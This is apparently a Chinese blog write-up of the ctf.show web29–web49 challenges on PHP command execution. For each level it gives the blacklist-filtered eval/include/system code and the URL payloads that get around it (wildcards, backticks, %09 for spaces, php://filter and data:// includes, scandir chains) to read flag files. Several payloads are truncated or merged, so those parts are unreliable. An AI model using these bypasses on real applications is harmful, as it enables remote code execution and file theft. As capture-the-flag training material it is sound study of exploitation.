可以先学习一下命令执行绕过小技巧
web29error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match()函数学习一下:
preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0
在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数
if(!preg_match("/flag/i", $c)){
只过滤flag【不区分大小写】
查看目录
?c=system('ls');
获取flag.php ,关键字flag过滤,使用通配符? ,进去后看源码才行,我刚开始还以为不对
http://a111e37a-dea4-4ef4-8e83-c190d2a32321.challenge.ctf.show/?c=system("cat fla?.php");
:cp命令将flag.php保存到1.txt 再去访问1.txt
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/?c=system("cp fla?.php 1.txt");
http://26f678d1-972b-4c70-a138-a71bdb90d4b5.challenge.ctf.show/1.txt
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了flag,system,php,
用` ` 来代替system()
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/?c=`cp fla?.p?? 1.txt`;
http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt
web31
这题就过滤的更多了,包括cat 空格 都过滤了
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');
将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示
ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');
也可以将空白用%09替代
ctf.show/?c=echo`tac%09fl*`;
web32
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
反引号,分号,括号 都不能用
没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include
分号可以用?>代替
还需要配合伪协议,通过特定的通道读取文件
/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
拿到的是bsae64的数据,再去解码即可
web33$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
多过滤了一个"
使用上一题的方法一样可以出来,那换一个函数用require,也是一样的
/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web34
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
多过滤了一个冒号,也不影响我们使用上面的方法
/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\&a=php://filter/convert.base64-encode/resource=flag.php
web37
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
通过data://text/plain协议来进行漏洞利用
/?c=data://text/plain,
web38
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
多过滤了php,file
使用上一题的方式就行,需要把php换成= 即 、
/?c=data://text/plains,
web39
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
加了个后缀.php ,但是依旧不影响用data协议
/?c=data://text/plains,
只是后面多了个.php
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\|\/|\?|\\\\/i", $c)){
eval($c);
过滤了很多字符,每几个能用的
无参数读文件和RCE总结_合天网安学院-CSDN博客
看大佬文章学习
print_r(scandir(current(localeconv())));
成功打印出当前目录下文件:
也可以用print_r(scandir(getcwd()));
flag是倒数第二个我们可以用:show_source(next(array_reverse(scandir(getcwd()))));
利用array_reverse()
进行把数组翻转,再利用next()
函数取到flag.php
/?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
数字字母都不能用了,比较麻烦,大概意思就是通过一些字符互相运算后构造得到我们的payload
这个博客,不会用第二个脚本
web42$c=$_GET['c'];
system($c." >/dev/null 2>&1");
>/dev/null 首先表示标准输出重定向到空设备文件,说白了就是不显示任何信息。
2> 表示stderr标准错误 & 表示等同于的意思,2>&1,表示2的输出重定向等同于1
我们要让命令回显,使用双写命令,让后面那条命令进黑洞,好像可以为空,可以进行命令分隔
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
/?c=tac flag.php;
web43
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
过滤了cat和分号,
?c=tac flag.php ||
web44
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
flag禁用,通配符安排
/?c=tac fl* ||
web45
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
多过滤了一个空格,空格用%09绕过就行
/?c=tac%09fl*||
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
过滤了* 还有?
/?c=tac%09fla?.php||
web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
过滤了很多命令,但是tac还能用
/?c=tac%09fla?.php||
web48
与上题一样
web49if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
过滤了%,可以用 |\
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?